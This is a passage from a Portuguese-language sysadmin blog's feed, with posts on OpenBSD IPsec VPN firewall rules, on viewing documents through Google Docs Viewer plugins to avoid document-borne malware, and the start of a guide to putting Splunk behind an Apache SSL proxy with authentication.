É possível implementar algumas regras do pf para proteger a VPN e limitar o&amp;nbsp;acesso. Basta adicionar as seguintes regras no arquivo /etc/pf.conf de 10.0.100.10:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;br /&gt;
GATEWAY_A = &quot;10.0.100.10&quot;&lt;br /&gt;
GATEWAY_B = &quot;10.0.100.11&quot;&lt;br /&gt;
NETWORK_A = &quot;10.0.1.0/24&quot;&lt;br /&gt;
NETWORK_B = &quot;10.0.2.0/24&quot;&lt;br /&gt;
&lt;br /&gt;
ext_if=&quot;pcn0&quot;&lt;br /&gt;
&lt;br /&gt;
block log on { enc0, $ext_if } all&lt;br /&gt;
&lt;br /&gt;
pass in on $ext_if proto tcp to ($ext_if) port ssh keep state&lt;br /&gt;
&lt;br /&gt;
pass in proto esp from $GATEWAY_B to $GATEWAY_A&lt;br /&gt;
pass out proto esp from $GATEWAY_A to $GATEWAY_B&lt;br /&gt;
&lt;br /&gt;
pass in on enc0 proto ipencap from $GATEWAY_B to $GATEWAY_A&lt;br /&gt;
&lt;br /&gt;
pass in on enc0 from $NETWORK_B to $NETWORK_A&lt;br /&gt;
pass out on enc0 from $NETWORK_A to $NETWORK_B&lt;br /&gt;
&lt;br /&gt;
pass in on $ext_if proto udp from $GATEWAY_B port = 500&amp;nbsp;to $GATEWAY_A port = 500&lt;br /&gt;
pass out on $ext_if proto udp from $GATEWAY_A port = 500&amp;nbsp;to $GATEWAY_B port = 500&lt;br /&gt;
&lt;br /&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Arquivo pf.conf do gateway 10.0.100.11:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;br /&gt;
GATEWAY_A = &quot;10.0.100.10&quot;&lt;br /&gt;
GATEWAY_B = &quot;10.0.100.11&quot;&lt;br /&gt;
NETWORK_A = &quot;10.0.1.0/24&quot;&lt;br /&gt;
NETWORK_B = &quot;10.0.2.0/24&quot;&lt;br /&gt;
&lt;br /&gt;
ext_if=&quot;pcn0&quot;&lt;br /&gt;
&lt;br /&gt;
block log on { enc0, $ext_if } all&lt;br /&gt;
pass in on $ext_if proto tcp to ($ext_if) port ssh keep state&lt;br /&gt;
&lt;br /&gt;
pass in proto esp from $GATEWAY_A to $GATEWAY_B&lt;br /&gt;
pass out proto esp from $GATEWAY_B to $GATEWAY_A&lt;br /&gt;
&lt;br /&gt;
pass in on enc0 proto ipencap from $GATEWAY_A to $GATEWAY_B&lt;br /&gt;
&lt;br /&gt;
pass in on enc0 from $NETWORK_A to $NETWORK_B&lt;br /&gt;
pass out on enc0 from $NETWORK_B to $NETWORK_A&lt;br /&gt;
&lt;br /&gt;
pass in on $ext_if proto udp from $GATEWAY_A port = 500&amp;nbsp;to $GATEWAY_B port = 500&lt;br /&gt;
pass out on $ext_if proto udp from $GATEWAY_B port = 500&amp;nbsp;to $GATEWAY_A port = 500&lt;br /&gt;
&lt;br /&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Em ambas as máquinas, você deve ativar o pf com os seguintes comandos:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
# pfctl -e&lt;br /&gt;
# pfctl -f /etc/pf.conf&lt;/blockquote&gt;
&lt;br /&gt;
Para finalizar, caso você queira que todas as configurações sejam carregadas ao&amp;nbsp;iniciar o gateway, edite o arquivo /etc/rc.conf e substitua isakmpd_flags=NO por&amp;nbsp;isakmpd_flags=&quot;&quot;. Substitua também a linha pf=NO por pf=YES. Adicione, ou&amp;nbsp;descomente, a linha net.inet.ip.forwarding=1 em /etc/sysctl.conf.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Fontes&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://hem.passagen.se/hojg/isakmpd/&quot;&gt;http://hem.passagen.se/hojg/isakmpd/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://resin.csoft.net/cgi-bin/man.cgi?section=8&amp;amp;topic=isakmpd&quot;&gt;http://resin.csoft.net/cgi-bin/man.cgi?section=8&amp;amp;topic=isakmpd&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://resin.csoft.net/cgi-bin/man.cgi?section=5&amp;amp;topic=isakmpd.conf&quot;&gt;http://resin.csoft.net/cgi-bin/man.cgi?section=5&amp;amp;topic=isakmpd.conf&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://resin.csoft.net/cgi-bin/man.cgi?section=5&amp;amp;topic=isakmpd.policy&quot;&gt;http://resin.csoft.net/cgi-bin/man.cgi?section=5&amp;amp;topic=isakmpd.policy&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.secureops.com/vpn/ipsecvpn.html&quot;&gt;http://www.secureops.com/vpn/ipsecvpn.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.unixlike.com.br/?page_id=97&quot;&gt;http://www.unixlike.com.br/?page_id=97&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://danielmenezessantana.blogspot.com/feeds/1983053231837388870/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://danielmenezessantana.blogspot.com/2012/03/vpn-site-to-site-utilizando-openbsd-e.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/1983053231837388870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/1983053231837388870'/><link rel='alternate' type='text/html' href='http://danielmenezessantana.blogspot.com/2012/03/vpn-site-to-site-utilizando-openbsd-e.html' title='VPN site-to-site utilizando OpenBSD e isakmpd'/><author><name>Daniel Santana</name><uri>http://www.blogger.com/profile/14051184572600340936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaUZ_w5AwS3eA95WjcTT1F0Pazwv3SBSW6lgKPbL-dlEsvA6fE9P6uP-4wY3xZGSmZ5UdZCxb5evBHB69NLik3GCWGkKJCWtCS9-rOoQhePTZvpcHvppky3wOD8XtrYg/s1600/0555555555_reasonably_small.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3337487558944364251.post-8742729088667999691</id><published>2011-12-07T13:23:00.001-02:00</published><updated>2011-12-07T17:25:47.737-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="browser"/><category scheme="http://www.blogger.com/atom/ns#" term="chrome"/><category scheme="http://www.blogger.com/atom/ns#" term="firefox"/><category scheme="http://www.blogger.com/atom/ns#" term="google docs"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="plugins"/><category scheme="http://www.blogger.com/atom/ns#" term="virus"/><category scheme="http://www.blogger.com/atom/ns#" term="virustotal"/><title type='text'>Navegando com mais segurança usando Google Docs</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Atualmente, o maior desafio da segurança, ao meu ver, é conscientizar o usuário sobre os riscos presentes na Internet. A tarefa é difícil, trabalhosa, as vezes desanimadora, e dificilmente você terá sucesso pleno.&amp;nbsp;Diferente das pessoas que trabalham na área, e sempre desconfiam de tudo presente na Web, os usuários comuns não tem essa preocupação e gostam de clicar compulsivamente.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Com a onda de códigos maliciosos embutidos em documentos Word/Excel/Powerpoint e PDFs, ficou ainda mais dificil evitar a contaminação dos usuários, pois grande parte deles não enxerga esses programas e seus respectivos arquivos como uma ameaça, e abrem qualquer documento anexado em seu email.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Levando em consideração que a grande maioria dos desktops não possuem versões de Office nem Adobe Reader (leitor de PDF mais usado) atualizadas, a taxa de contaminação é altíssima. Mesmo aqueles que mantêm todos os softwares atualizados, inclusive assinaturas dos antivirus, não estão totalmente protegidos, principalmente para novas falhas de segurança, já que os antivirus trabalham reativamente.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Após alguns meses de testes, encontrei uma solução muito interessante através de plugins para browsers:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;https://chrome.google.com/webstore/detail/nnbmlagghjjcbdhgmkedmbmedengocbn&quot; target=&quot;_blank&quot;&gt;Docs PDF/Powerpoint Viewer&lt;/a&gt;&amp;nbsp;(Google Chrome)&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/google-docs-viewer-pdf-doc-doc/&quot; target=&quot;_blank&quot;&gt;Google Docs Viewer&lt;/a&gt; (Firefox)&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Basicamente, o que ambos os plugins fazem é oferecer a opção de visualizar documentos Office, PDF, e outros suportados, utilizando o Google Docs Viewer através da URL&amp;nbsp;https://docs.google.com/viewer?url=URL&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
A lista de documentos suportados é extensa:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Adobe Acrobat: pdf&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Adobe Illustrator: ai&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Adobe Photoshop: psd&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Apple Pages: pages&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Autodesk AutoCad: dxf&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Font: fnt, fon&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Microsoft Excel: xls, xlsx&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Microsoft Office: doc, docx&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Microsoft PowerPoint: pps, ppt, pptx&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;OpenType Font: otf&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;PostScript: eps, ps&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Scalable Vector Graphics: svg&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;TIFF: tif, tiff&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;TrueType: ttf&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;XML Paper Specification: xps&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Todos esses documentos são interpretados pelo Google, convertidos automaticamente para imagens PNG e exibidos ao usuário, retirando completamente a responsabilidade de processamento do cliente.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Com essa interpretação realizada externamente na estrutura do Google, não há preocupação com scripts maliciosos inseridos dentro dos documentos, seja lá quais forem, se tornando uma proteção essencial ao usuário.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Após a instalação do plugin no Google Chrome, o comportamento padrão do browser é alterado e todos os tipos suportados são automaticamente direcionados ao Google Docs, forçando o uso da ferramenta dentro do navegador:&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIv-RJgo8cF1LhDc-Di4mkkq-evrqq0soS4-UpnjRiaseMckoXB38flrVIWiZhhblZ7_lVthKN8qYzPzf72SCAlaosBL3U75UVyVQ6Kg96Vj0aW7ODtDtLvyjmanBFQ4mfBAoG2vNBPkjm/s1600/chrome-googledocs-viewer.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;203&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIv-RJgo8cF1LhDc-Di4mkkq-evrqq0soS4-UpnjRiaseMckoXB38flrVIWiZhhblZ7_lVthKN8qYzPzf72SCAlaosBL3U75UVyVQ6Kg96Vj0aW7ODtDtLvyjmanBFQ4mfBAoG2vNBPkjm/s320/chrome-googledocs-viewer.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para realizar o download dos arquivos para abrir no próprio computador, é necessário clicar com o botão direito no link e salvar, ação que dificilmente será executada pelo usuário OU clicar no botão &quot;Download Original&quot; dentro do Google Docs:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMziPmtEbOkm2EcRnsW3dRle3RfftSsRKk3T3EOYV9-US-YYizcHIh4IMsRjqAqVdzTKdSNfIVji02intZrt5AMMgKxm88QhON2mbBgXM5XffhrKHQJfQdt8WrleF5vm28yFJTs6D_rmsu/s1600/chrome-googledocs-viewer2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;203&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMziPmtEbOkm2EcRnsW3dRle3RfftSsRKk3T3EOYV9-US-YYizcHIh4IMsRjqAqVdzTKdSNfIVji02intZrt5AMMgKxm88QhON2mbBgXM5XffhrKHQJfQdt8WrleF5vm28yFJTs6D_rmsu/s320/chrome-googledocs-viewer2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
No plugin do Firefox, infelizmente a opção padrão de clique não é alterada e os arquivos abrirão, ao serem clicados, através do programa configurado no sistema.&amp;nbsp;Para utilizar o plugin, é necessário clicar com o botao direito em cima do link e utilizar a opção &quot;Open Link in Google Docs Viewer&quot;:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNeSAd_nfZAlKjKC3AnCz6sSeylFUGrcUatG9hBZx0wY9XyxPHXzXX80RS71sZhayS10JD0Y6aavtxTfyYDu3m4te8sF31DsEnA1eqE4njthajrLDdtakIQZ-cWiaJffNUSGvUZU4zDgUI/s1600/firefox-googledocs-viewer.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;106&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNeSAd_nfZAlKjKC3AnCz6sSeylFUGrcUatG9hBZx0wY9XyxPHXzXX80RS71sZhayS10JD0Y6aavtxTfyYDu3m4te8sF31DsEnA1eqE4njthajrLDdtakIQZ-cWiaJffNUSGvUZU4zDgUI/s320/firefox-googledocs-viewer.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwkaSG0xckPhhZuxDtGA7cv3rRqP4TQMLcfOQEowriQegxYy4TuBYVeRQVV5ACL7laNMeli4aTsIKF1KdNu79a0Zmb4dzG_9TklqynLb63Kll3tF8nvX86N4q-DSV-_W4699ZpG0n6S0HI/s1600/firefox-googledocs-viewer2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;125&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwkaSG0xckPhhZuxDtGA7cv3rRqP4TQMLcfOQEowriQegxYy4TuBYVeRQVV5ACL7laNMeli4aTsIKF1KdNu79a0Zmb4dzG_9TklqynLb63Kll3tF8nvX86N4q-DSV-_W4699ZpG0n6S0HI/s320/firefox-googledocs-viewer2.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Particularmente, prefiro a abordagem feita pelo plugin do Google Chrome, que oferece uma proteção melhor aos usuários comuns, já que eles não precisarão alterar seu comportamento (botao direito -&amp;gt; visualizar com o google docs viewer) para estarem protegidos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Alguns poucos documentos não abrem no Google Docs, mas são raros. Para esses que não funcionarem, você pode realizar o download e abrir com seu programa preferido, mas não recomendo.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Utilizo o Google Docs há bastante tempo e sei o quanto a ferramenta evoluiu nos últimos anos para tornar-se compatível com os padrões de mercado. Se um documento não exibir conteúdo pelo Google Docs, provavelmente está fora dos padrões e pode ser um indício de malware.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Com essa configuração realizada, reduzi consideralmente meu receio de abrir documentos Office e PDFs, assim como fiquei despreocupado com os computadores familiares também.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Além da segurança, grande parte dos usuários necessita apenas leitura em documentos Office. Se esse é o seu caso, a alternativa de usar o Google Docs é uma boa economia de dinheiro e recurso do seu computador.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
OBS: Não há necessidade de uma conta Google para utilizar a URL de visualização de documentos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Até a próxima!&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danielmenezessantana.blogspot.com/feeds/8742729088667999691/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://danielmenezessantana.blogspot.com/2011/12/navegando-com-mais-seguranca-usando.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/8742729088667999691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3337487558944364251/posts/default/8742729088667999691'/><link rel='alternate' type='text/html' href='http://danielmenezessantana.blogspot.com/2011/12/navegando-com-mais-seguranca-usando.html' title='Navegando com mais segurança usando Google Docs'/><author><name>Daniel Santana</name><uri>http://www.blogger.com/profile/14051184572600340936</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaUZ_w5AwS3eA95WjcTT1F0Pazwv3SBSW6lgKPbL-dlEsvA6fE9P6uP-4wY3xZGSmZ5UdZCxb5evBHB69NLik3GCWGkKJCWtCS9-rOoQhePTZvpcHvppky3wOD8XtrYg/s1600/0555555555_reasonably_small.JPG'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIv-RJgo8cF1LhDc-Di4mkkq-evrqq0soS4-UpnjRiaseMckoXB38flrVIWiZhhblZ7_lVthKN8qYzPzf72SCAlaosBL3U75UVyVQ6Kg96Vj0aW7ODtDtLvyjmanBFQ4mfBAoG2vNBPkjm/s72-c/chrome-googledocs-viewer.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3337487558944364251.post-4247655443898162773</id><published>2011-11-01T13:37:00.000-02:00</published><updated>2011-11-01T13:39:42.448-02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="active directory"/><category scheme="http://www.blogger.com/atom/ns#" term="apache"/><category scheme="http://www.blogger.com/atom/ns#" term="autenticação"/><category scheme="http://www.blogger.com/atom/ns#" term="centos"/><category scheme="http://www.blogger.com/atom/ns#" term="htaccess"/><category scheme="http://www.blogger.com/atom/ns#" term="https"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="mod_proxy"/><category scheme="http://www.blogger.com/atom/ns#" term="splunk"/><category scheme="http://www.blogger.com/atom/ns#" term="ssl"/><title type='text'>Splunk com autenticação Apache + SSL</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Seguindo a linha do &lt;a href=&quot;http://danielmenezessantana.blogspot.com/2011/10/homemade-patch-management-system-parte.html&quot; target=_blank&gt;último artigo&lt;/a&gt;, outra peça importante em qualquer ambiente é um centralizador de logs, principalmente para auditoria e rastreamento de usuários.&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Uma excelente opção é o &lt;a href=&quot;http://www.splunk.com/&quot; target=_blank&gt;Splunk&lt;/a&gt;. Na sua versão free, é possível indexar 500MB de logs diários, o que é bastante pra qualquer ambiente. Apesar desta limitação, essa quantidade de dados é suficiente para atender grande parte dos ambientes que conheço.&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Como medida de comparação, já vi ambientes com mais de 1000 servidores utilizando essa versão gratuita do Splunk para registrar apenas a autenticação de usuários nos servidores (AUTHPRIV do syslog), não atingindo nem 10% da sua capacidade diária.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Porém, na minha visão, a grande limitação desta versão gratuita é a falta de autenticação no acesso à sua console de gerenciamento e busca. Como não existe autenticação, qualquer usuário que conheça a URL de acesso poderá manipular os logs já coletados, inclusive apagar completamente o que já foi indexado.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
A solução que encontrei para contornar essa situação foi incluir uma autenticação do Apache com SSL na frente do Splunk através de um proxy, junto com algumas configurações adicionais no próprio Splunk.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
O ambiente que utilizei com estas configurações foi um Linux CentOS 5.6, Splunk 4.2 (instalado diretamente com o RPM disponibilizado na página oficial) e o Apache 2.2 com mod_proxy + mod_ssl. Por padrão, o mod_proxy já vem habilitado no CentOS, mas o mod_ssl precisa ser instalado e configurado.&lt;br /&gt;
&lt;br /&gt;
Recomendo ler o artigo &lt;a href=&quot;http://danielmenezessantana.blogspot.com/2011/10/geracao-de-chave-e-certificado-para.html&quot; target=_blank&gt;Geração de chave e certificado para Apache SSL&lt;/a&gt;&amp;nbsp;caso não saiba como ativá-lo.&lt;br /&gt;
&lt;br /&gt;
Partindo para o Splunk, é necessário modificar o arquivo web.conf no diretório /opt/splunk/etc/system/local e adicionar as seguintes linhas:&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre&gt;[settings]
enableSplunkWebSSL = 1
root_endpoint = /splunk
updateCheckerBaseURL = 0
tools.proxy.on = True
&lt;/pre&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Crie o arquivo, caso ele não exista. Explicando cada uma das configurações:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;u&gt;enableSplunkWebSSL = 1&lt;/u&gt;&lt;/b&gt; : Ativa o protocolo HTTPS para a console do Splunk;&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;u&gt;&lt;b&gt;root_endpoint = /splunk&lt;/b&gt;&lt;/u&gt; : Garante que todas as URLs relacionadas ao Splunk no host de instalação iniciem com o prefixo /splunk, o que facilita bastante se for um host compartilhado e o filtro do proxy;&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;u&gt;updateCheckerBaseURL = 0&lt;/u&gt;&lt;/b&gt; : Desativa a tela inicial de verificação de atualizações para o Splunk. Por algum motivo, com esta tela habilitada, alguns bugs acontecem na autenticação do Apache, que contornei desabilitando essa tela inicial;&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;&lt;b&gt;&lt;u&gt;tools.proxy.on = True&lt;/u&gt;&lt;/b&gt; : Indica que o Splunk funcionará através de um Proxy. No nosso caso, o próprio Apache fará o papel de proxy.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Após estas configurações, reinicie o Splunk através da console ou via linha de comando e acesse-o, verificando que tudo está funcionando corretamente. Veja que, com essas mudanças, a console usará agora HTTPS e sempre a URI terá /splunk no seu início.&lt;br /&gt;
&lt;br /&gt;
É necessário agora configurar o Apache do servidor para realizar o proxy e a autenticação. Crie um novo arquivo de configuração no diretório /etc/httpd/conf.d (exemplo: splunk.conf) com as seguintes configurações:&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre&gt;Listen 8066

&amp;lt;VirtualHost *:8066&amp;gt;
 ServerAdmin dms@dominiointerno.com
 ServerAlias splunk.dominiointerno.com
 ProxyPass /splunk https://127.0.0.1:8000/splunk
 ProxyPassReverse /splunk https://127.0.0.1:8000/splunk
        
 ErrorLog /var/log/httpd/splunk-error.log
 CustomLog /var/log/httpd/splunk-access.log combined
  
 SSLEngine On
 SSLCertificateFile /etc/pki/tls/certs/server.crt
 SSLCertificateKeyFile /etc/pki/tls/private/server.key
 SSLProxyEngine on
&amp;lt;/VirtualHost&amp;gt;

&lt;/pre&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Essa configuração criará um redirecionamento na porta 8066 do servidor para a console do Splunk, inicializada por padrão na porta 8000.&amp;nbsp;Repare também que no arquivo acima existe uma configuração relacionada ao SSL, que faz parte da minha solução.&lt;br /&gt;
&lt;br /&gt;
